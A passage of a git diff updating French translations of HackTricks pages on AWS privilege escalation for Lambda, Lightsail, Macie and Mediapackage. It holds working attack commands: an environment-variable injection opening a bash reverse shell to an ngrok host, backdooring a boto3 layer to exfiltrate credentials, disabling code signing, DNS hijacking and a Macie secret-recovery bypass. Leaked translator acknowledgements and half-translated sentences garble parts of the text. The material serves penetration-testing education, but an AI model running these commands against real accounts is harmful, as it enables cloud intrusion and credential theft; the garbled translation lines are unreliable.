vous avez aussi besoin de `lambda:InvokeFunction` +> Notez que même si cela peut sembler intéressant **`lambda:InvokeAsync`** **ne permet pas** à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` @@ -85,21 +85,21 @@ Comme dans le scénario précédent, vous pouvez **vous accorder la permission ` aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**Impact potentiel :** privesc direct vers le rôle de service lambda arbitraire spécifié. +**Impact potentiel :** Escalade de privilèges directe (privesc) vers le rôle de service lambda arbitraire spécifié. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalader les privilèges** même sans `lambda:InvokeFunction`.\ -Ils peuvent créer une **fonction Lambda contenant du code malveillant et lui attribuer un rôle IAM existant**. +Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction` et `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalate privileges** même sans `lambda:InvokeFunction`.\ +Ils peuvent créer une **fonction Lambda avec du code malveillant et lui assigner un rôle IAM existant**. -Au lieu d'invoquer directement la Lambda, l'utilisateur configure ou utilise une table DynamoDB existante, la reliant à la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'ajout d'un nouvel élément** dans la table, soit par l'action de l'utilisateur, soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé. +Au lieu d'invoquer directement la Lambda, l'utilisateur met en place ou utilise une table DynamoDB existante, en la reliant à la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'ajout d'un nouvel élément** dans la table, soit par l'action de l'utilisateur soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **n'a qu'à établir l'event source mapping** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé : +Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur n'a besoin que d'**établir l'event source mapping** pour la fonction Lambda. En revanche, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé : ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Il est maintenant possible de **connecter la fonction Lambda à la table DynamoDB** en **créant un event source mapping** : +Il est maintenant possible de **connect the Lambda function to the DynamoDB table** en **creating an event source mapping**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Avec la fonction Lambda liée au DynamoDB stream, l'attaquant peut **déclencher indirectement la fonction Lambda en activant le DynamoDB stream**. Cela peut être accompli en **insérant un élément** dans la table DynamoDB : +Avec la fonction Lambda liée au DynamoDB stream, l'attaquant peut **déclencher indirectement la fonction Lambda en activant le DynamoDB stream**. Cela peut être accompli en **insérant un item** dans la table DynamoDB : ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Impact potentiel :** Privesc direct vers le rôle de service lambda spécifié. +**Impact potentiel :** privesc direct vers le rôle de service lambda spécifié. ### `lambda:AddPermission` -Un attaquant disposant de cette permission peut **s'octroyer (ou accorder à d'autres) n'importe quelles permissions** (cela génère des resource based policies pour accorder l'accès à la ressource) : +Un attacker disposant de cette permission peut **grant himself (or others) any permissions** (cela génère des resource based policies pour accorder l'accès à la resource): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,11 +130,11 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Impact potentiel:** Privesc direct sur le lambda service role utilisé en accordant la permission de modifier le code et de l'exécuter. +**Impact potentiel :** Élévation de privilèges directe (privesc) vers le rôle de service lambda en accordant l'autorisation de modifier le code et de l'exécuter. ### `lambda:AddLayerVersionPermission` -Un attaquant disposant de cette permission peut **s'accorder (ou accorder à d'autres) la permission `lambda:GetLayerVersion`**. Il pourrait accéder au layer et rechercher des vulnérabilités ou des informations sensibles. +Un attaquant disposant de cette autorisation peut **s'octroyer (ou accorder à d'autres) l'autorisation `lambda:GetLayerVersion`**. Il pourrait accéder au layer et rechercher des vulnérabilités ou des informations sensibles. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion @@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -Les utilisateurs disposant de la permission **`lambda:UpdateFunctionCode`** peuvent **modifier le code d'une fonction Lambda existante qui est liée à un rôle IAM.**\ -L'attaquant peut **modifier le code de la lambda pour exfiltrer les identifiants IAM**. +Les utilisateurs disposant de la permission **`lambda:UpdateFunctionCode`** peuvent **modifier le code d'une Lambda function existante liée à un rôle IAM.**\ +L'attaquant peut **modifier le code de la lambda pour exfiltrer les credentials IAM**. -Même si l'attaquant n'a pas nécessairement la capacité directe d'invoquer la fonction, si la fonction Lambda est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié. +Même si l'attaquant n'a pas forcément la capacité directe d'invoquer la fonction, si la Lambda function est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Impact potentiel :** Escalade directe (privesc) vers le rôle de service Lambda utilisé. +**Impact potentiel :** privesc direct vers le rôle de service lambda utilisé. ### `lambda:UpdateFunctionConfiguration` #### RCE via env variables -Avec cette permission, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter à un processus python des commandes arbitraires : +Avec ces permissions, il est possible d'ajouter des environment variables qui provoqueront l'exécution de code arbitraire par la Lambda. Par exemple, en python il est possible d'abuser des environment variables `PYTHONWARNING` et `BROWSER` pour faire en sorte qu'un processus python exécute des commandes arbitraires : ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Pour d'autres langages de script, il existe d'autres env variables que vous pouvez utiliser. Pour plus d'infos, consultez les sous-sections des langages de script dans: +Pour d'autres langages de scripting, il existe d'autres variables d'environnement que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de scripting dans: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html @@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc #### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **code** dans votre fonction lambda mais **de le stocker séparément**, ainsi le code de la fonction peut rester petit et **plusieurs fonctions peuvent partager le code**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure du **code** dans votre lamdba function mais **le stocker séparément**, de sorte que le code de la fonction peut rester petit et que **plusieurs fonctions peuvent partager du code**. -À l'intérieur de lambda, vous pouvez vérifier les chemins d'où le code python est chargé avec une fonction comme la suivante: +À l'intérieur de lambda vous pouvez vérifier les chemins depuis lesquels le python code est chargé avec une fonction comme la suivante: ```python import json import sys @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -These are the places: +Voici les emplacements : 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -198,64 +198,64 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -Par exemple, la bibliothèque boto3 est chargée depuis `/var/runtime/boto3` (4ème position). +Par exemple, la bibliothèque boto3 est chargée depuis `/var/runtime/boto3` (4e position). #### Exploitation -Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter un nouveau layer** à une fonction lambda. Pour exécuter du code arbitraire, ce layer doit contenir une **bibliothèque que la fonction lambda va importer.** Si vous pouvez lire le code de la fonction lambda, vous pouvez le trouver facilement. Notez aussi qu'il est possible que la fonction lambda **utilise déjà un layer** et que vous puissiez **télécharger** le layer et **ajouter votre code** dedans. +Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter un nouveau layer** à une fonction lambda. Pour exécuter du code arbitraire, ce layer doit contenir une **bibliothèque que la lambda va importer.** Si vous pouvez lire le code de la lambda, vous pourrez le trouver facilement ; notez aussi qu'il est possible que la lambda **utilise déjà un layer** et que vous puissiez **télécharger** le layer et **ajouter votre code** dedans. -Par exemple, supposons que la fonction lambda utilise la bibliothèque boto3 : cela créera un layer local avec la dernière version de la bibliothèque : +Par exemple, supposons que la lambda utilise la bibliothèque boto3, cela créera un layer local avec la dernière version de la bibliothèque : ```bash pip3 install -t ./lambda_layer boto3 ``` -Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la backdoor dans le code global** (une fonction pour exfiltrate credentials ou obtenir un reverse shell par exemple). +Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **add the backdoor in the global code** (une fonction pour exfiltrate credentials ou obtenir un reverse shell, par exemple). -Ensuite, zippez le répertoire `./lambda_layer` et **téléversez le nouveau lambda layer** dans votre propre compte (ou dans celui de la victime, mais vous pourriez ne pas avoir les permissions pour cela).\ -Notez que vous devez créer un dossier python et y placer les bibliothèques pour écraser /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par la lambda et, si vous le téléversez dans votre compte, il doit être dans la **même région :** +Ensuite, zippez le répertoire `./lambda_layer` et **upload the new lambda layer** dans votre propre compte (ou dans celui de la victime, mais vous pourriez ne pas avoir les permissions pour cela).\ +Notez que vous devez créer un dossier python et y placer les bibliothèques pour override /opt/python/boto3. De plus, le lambda layer doit être **compatible with the python version** utilisée par la lambda et, si vous l'uploadez dans votre compte, il doit se trouver dans la **same region:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Maintenant, rendez le lambda layer téléchargé **accessible par n'importe quel compte** : +Maintenant, rendez la lambda layer téléversée **accessible par n'importe quel compte** : ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -Et attachez le lambda layer à la fonction lambda victime : +Et attachez le lambda layer à la victim lambda function: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -La prochaine étape serait soit d'**invoquer la fonction** nous-mêmes si possible, soit d'attendre qu'**elle soit invoquée** par des moyens normaux — ce qui est la méthode la plus sûre. +La prochaine étape serait soit de **invoquer la fonction** nous‑mêmes si nous le pouvons, soit d'attendre qu'i**l soit invoqué** par des moyens normaux — ce qui est la méthode la plus sûre. Une **méthode plus discrète pour exploiter cette vulnérabilité** se trouve dans : {{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Impact potentiel :** Privesc direct sur le rôle de service lambda utilisé. +**Potential Impact:** Direct privesc to the lambda service role used. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Peut-être qu'avec ces permissions vous pouvez créer une fonction et l'exécuter en appelant l'URL... mais je pourrais trouver un moyen de le tester, donc dites-moi si vous le faites ! +Peut‑être qu'avec ces permissions vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je pourrais trouver un moyen de le tester, alors dites‑moi si vous le faites ! ### Lambda MitM -Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez RCE dans l'une d'elles, vous pouvez exfiltrate les informations que d'autres utilisateurs lui envoient, consultez-le dans : +Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez une RCE dans l'une d'elles, vous pouvez exfiltrer les informations que les autres utilisateurs lui envoient, consultez : {{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## Références +## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} @@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]} PY zip backdoor.zip handler.py ``` -Chemin A) Supprimer CSC puis mettre à jour le code : +Option A) Supprimer CSC puis mettre à jour le code : ```bash aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 if [ "$HAS_CSC" -eq 1 ]; then @@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Voie B) Rétrograder en Warn et mettre à jour le code (si delete n'est pas autorisé) : +Option B) Rétrograder à Warn et mettre à jour le code (si la suppression n'est pas autorisée): ```bash CSC_ARN=$(aws lambda create-code-signing-config \ --description ht-warn-csc \ @@ -303,12 +303,12 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Vérifié — je suivrai les consignes : traduire le texte anglais pertinent en français en conservant exactement la même syntaxe markdown/HTML, ne pas traduire le code, les noms de techniques, les mots comme leak, pentesting, les noms de plateformes cloud (aws, gcp...), ni les liens, chemins, tags, refs, et ne pas ajouter de contenu supplémentaire. Envoyez le contenu à traduire. +Confirmed. I will translate the relevant English text to French, preserving exactly all code, hacking technique names, cloud/SaaS/platform names (aws, gcp, Workspace, etc.), links, paths, and all markdown/html tags (including {#...} tags). I will not modify links, refs, or tags and will not add any extra content. ```bash aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null cat /tmp/out.json ``` -Impact potentiel : Possibilité de pousser et d'exécuter du code arbitraire non signé dans une fonction qui était censée imposer des déploiements signés, pouvant potentiellement conduire à l'exécution de code avec les autorisations du rôle de la fonction. +Impact potentiel : Capacité à pousser et à exécuter du code arbitraire non signé dans une fonction qui était censée imposer des déploiements signés, pouvant potentiellement entraîner l'exécution de code avec les permissions du rôle de la fonction. Nettoyage : ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md index c867b0119..c6b4a212b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -1,17 +1,17 @@ # AWS - Lightsail Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Lightsail Pour plus d'informations sur Lightsail, consultez : {{#ref}} -../aws-services/aws-lightsail-enum.md +../../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Il est important de noter que Lightsail **n'utilise pas les rôles IAM appartenant à l'utilisateur** mais à un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, **des données sensibles** telles que le code, les clés API et les informations de base de données pourraient être trouvées dans ce service. +> Il est important de noter que Lightsail **n'utilise pas les IAM roles appartenant à l'utilisateur** mais un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, des **données sensibles** telles que du code, des API keys et des informations de base de données peuvent être trouvées dans ce service. ### `lightsail:DownloadDefaultKeyPair` @@ -23,35 +23,35 @@ aws lightsail download-default-key-pair ### `lightsail:GetInstanceAccessDetails` -Cette autorisation vous permettra de générer des clés SSH pour accéder aux instances : +Cette permission vous permettra de générer des clés SSH pour accéder aux instances : ```bash aws lightsail get-instance-access-details --instance-name ``` -**Impact potentiel :** Trouver des informations sensibles à l'intérieur des instances. +**Potential Impact:** Trouver des informations sensibles dans les instances. ### `lightsail:CreateBucketAccessKey` -Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket : +Cette permission vous permettra d'obtenir une clé pour accéder au bucket : ```bash aws lightsail create-bucket-access-key --bucket-name ``` -**Impact potentiel :** Trouver des informations sensibles à l'intérieur du bucket. +**Impact potentiel :** Trouver des informations sensibles dans le bucket. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -Cette autorisation vous permettra d'obtenir les identifiants pour accéder à la base de données : +Cette permission vous permettra d'obtenir les identifiants pour accéder à la base de données : ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` -**Impact potentiel :** Trouver des informations sensibles dans la base de données. +**Impact potentiel :** Trouver des informations sensibles dans la base de données. ### `lightsail:UpdateRelationalDatabase` -Cette autorisation vous permettra de changer le mot de passe pour accéder à la base de données : +Cette permission vous permettra de changer le mot de passe d'accès à la base de données : ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` -Si la base de données n'est pas publique, vous pourriez également la rendre publique avec ces autorisations avec +Si la base de données n'est pas publique, vous pouvez aussi la rendre publique avec ces permissions. ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` @@ -59,7 +59,7 @@ aws lightsail update-relational-database --relational-database-name --pub ### `lightsail:OpenInstancePublicPorts` -Cette autorisation permet d'ouvrir des ports vers Internet. +Cette permission permet d'ouvrir des ports sur Internet ```bash aws lightsail open-instance-public-ports \ --instance-name MEAN-2 \ @@ -69,28 +69,28 @@ aws lightsail open-instance-public-ports \ ### `lightsail:PutInstancePublicPorts` -Cette autorisation permet d'ouvrir des ports sur Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié. +Cette permission permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié. ```bash aws lightsail put-instance-public-ports \ --instance-name MEAN-2 \ --port-infos fromPort=22,protocol=TCP,toPort=22 ``` -**Impact potentiel :** Accéder à des ports sensibles. +**Potential Impact:** Accès aux ports sensibles. ### `lightsail:SetResourceAccessForBucket` -Cette autorisation permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification. +Cette permission permet de donner à des instances l'accès à un bucket sans credentials supplémentaires. ```bash aws set-resource-access-for-bucket \ --resource-name \ --bucket-name \ --access allow ``` -**Impact potentiel :** Accès potentiel nouveau à des buckets contenant des informations sensibles. +**Impact potentiel :** Nouvel accès possible à des buckets contenant des informations sensibles. ### `lightsail:UpdateBucket` -Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde : +Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture aux buckets ou même rendre les buckets publics pour tout le monde : ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -105,17 +105,17 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu ### `lightsail:UpdateContainerService` -Avec ces autorisations, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs. +Avec cette permission, un attaquant pourrait accorder l'accès à des ECR privés depuis le service containers. ```bash aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**Impact potentiel :** Obtenir des informations sensibles à partir d'ECR privé +**Impact potentiel :** Obtenir des informations sensibles depuis un ECR privé ### `lightsail:CreateDomainEntry` -Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP. +Un attaquant disposant de cette permission pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou créer un enregistrement SPF qui lui permet de spoof des e-mails depuis le domaine, ou même pointer le domaine principal vers sa propre adresse IP. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP. +Un attaquant disposant de cette permission pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou créer un enregistrement SPF qui lui permet de spoof emails depuis le domaine, voire configurer le domaine principal pour qu'il pointe vers sa propre adresse IP. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ @@ -133,4 +133,4 @@ aws lightsail update-domain-entry \ ``` **Impact potentiel :** Prise de contrôle d'un domaine -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index 95099f13a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Pour plus d'informations sur Macie, consultez : - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - Contournement de la vérification d'intégrité `Reveal Sample` - -AWS Macie est un service de sécurité qui détecte automatiquement les données sensibles dans les environnements AWS, telles que les identifiants, les informations personnellement identifiables (PII) et d'autres données confidentielles. Lorsque Macie identifie un identifiant sensible, tel qu'une clé secrète AWS stockée dans un bucket S3, il génère une découverte qui permet au propriétaire de voir un "échantillon" des données détectées. En général, une fois que le fichier sensible est supprimé du bucket S3, on s'attend à ce que le secret ne puisse plus être récupéré. - -Cependant, un **contournement** a été identifié où un attaquant disposant de permissions suffisantes peut **re-télécharger un fichier avec le même nom** mais contenant des données factices non sensibles. Cela amène Macie à associer le fichier nouvellement téléchargé à la découverte originale, permettant à l'attaquant d'utiliser la **fonctionnalité "Reveal Sample"** pour extraire le secret précédemment détecté. Ce problème pose un risque de sécurité significatif, car les secrets qui étaient supposés être supprimés restent récupérables par ce moyen. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**Étapes à reproduire :** - -1. Téléchargez un fichier (par exemple, `test-secret.txt`) dans un bucket S3 avec des données sensibles, telles qu'une clé secrète AWS. Attendez qu'AWS Macie scanne et génère une découverte. - -2. Accédez aux découvertes AWS Macie, localisez la découverte générée et utilisez la fonctionnalité **Reveal Sample** pour voir le secret détecté. - -3. Supprimez `test-secret.txt` du bucket S3 et vérifiez qu'il n'existe plus. - -4. Créez un nouveau fichier nommé `test-secret.txt` avec des données factices et re-téléchargez-le dans le même bucket S3 en utilisant le **compte de l'attaquant**. - -5. Retournez aux découvertes AWS Macie, accédez à la découverte originale et cliquez à nouveau sur **Reveal Sample**. - -6. Observez que Macie révèle toujours le secret original, malgré le fait que le fichier ait été supprimé et remplacé par un contenu différent **provenant de comptes différents, dans notre cas ce sera le compte de l'attaquant**. - -**Résumé :** - -Cette vulnérabilité permet à un attaquant disposant de permissions AWS IAM suffisantes de récupérer des secrets précédemment détectés même après que le fichier original a été supprimé de S3. Si une clé secrète AWS, un jeton d'accès ou un autre identifiant sensible est exposé, un attaquant pourrait exploiter ce défaut pour le récupérer et obtenir un accès non autorisé aux ressources AWS. Cela pourrait entraîner une élévation de privilèges, un accès non autorisé aux données ou un compromis supplémentaire des actifs cloud, entraînant des violations de données et des interruptions de service. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..71d878857 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ -0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Pour plus d'informations sur Macie, consultez : + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integrity Check + +AWS Macie est un service de sécurité qui détecte automatiquement les données sensibles au sein des environnements AWS, telles que les credentials, les informations personnellement identifiables (PII) et d'autres données confidentielles. Lorsqu'Macie identifie une credential sensible, comme une AWS secret key stockée dans un S3 bucket, il génère un finding qui permet au propriétaire de voir un "sample" des données détectées. Typiquement, une fois que le fichier sensible est supprimé du S3 bucket, on s'attend à ce que le secret ne puisse plus être récupéré. + +Cependant, un **contournement** a été identifié où un attaquant disposant des permissions suffisantes peut **re-téléverser un fichier portant le même nom** mais contenant des données factices différentes et non sensibles. Cela fait qu'Macie associe le fichier nouvellement téléversé au finding original, permettant à l'attaquant d'utiliser la fonctionnalité **"Reveal Sample"** pour extraire le secret précédemment détecté. Ce problème représente un risque de sécurité important, car des secrets supposés supprimés restent récupérables via cette méthode. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Étapes pour reproduire :** + +1. Upload un fichier (par ex., `test-secret.txt`) dans un S3 bucket contenant des données sensibles, comme une AWS secret key. Attendez qu'AWS Macie scanne et génère un finding. + +2. Allez dans AWS Macie Findings, localisez le finding généré et utilisez la fonctionnalité **Reveal Sample** pour voir le secret détecté. + +3. Supprimez `test-secret.txt` du S3 bucket et vérifiez qu'il n'existe plus. + +4. Créez un nouveau fichier nommé `test-secret.txt` avec des données factices et re-téléversez-le dans le même S3 bucket en utilisant le **compte de l'attaquant**. + +5. Retournez dans AWS Macie Findings, accédez au finding original, et cliquez de nouveau sur **Reveal Sample**. + +6. Observez que Macie révèle toujours le secret original, malgré la suppression du fichier et son remplacement par un contenu différent **depuis des comptes différents, dans notre cas ce sera le compte de l'attaquant**. + +**Résumé :** + +Cette vulnérabilité permet à un attaquant disposant des permissions AWS IAM suffisantes de récupérer des secrets précédemment détectés même après que le fichier original ait été supprimé de S3. Si une AWS secret key, un access token ou une autre credential sensible est exposée, un attaquant pourrait exploiter ce défaut pour la récupérer et obtenir un accès non autorisé aux ressources AWS. Cela pourrait mener à une élévation de privilèges, un accès non autorisé aux données, ou une compromission plus étendue des assets cloud, entraînant des fuites de données et des interruptions de service. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md index 427f305e6..8926961af 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -1,16 +1,16 @@ # AWS - Mediapackage Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `mediapackage:RotateChannelCredentials` -Change le nom d'utilisateur et le mot de passe du premier IngestEndpoint du canal. (Cette API est obsolète pour RotateIngestEndpointCredentials) +Modifie le nom d'utilisateur et le mot de passe du premier IngestEndpoint du Channel. (Cette API est dépréciée au profit de RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Change le nom d'utilisateur et le mot de passe du premier IngestEndpoint du Channel. (Cette API est obsolète pour RotateIngestEndpointCredentials) +Modifie le nom d'utilisateur et le mot de passe du premier IngestEndpoint du Channel. (Cette API est dépréciée au profit de 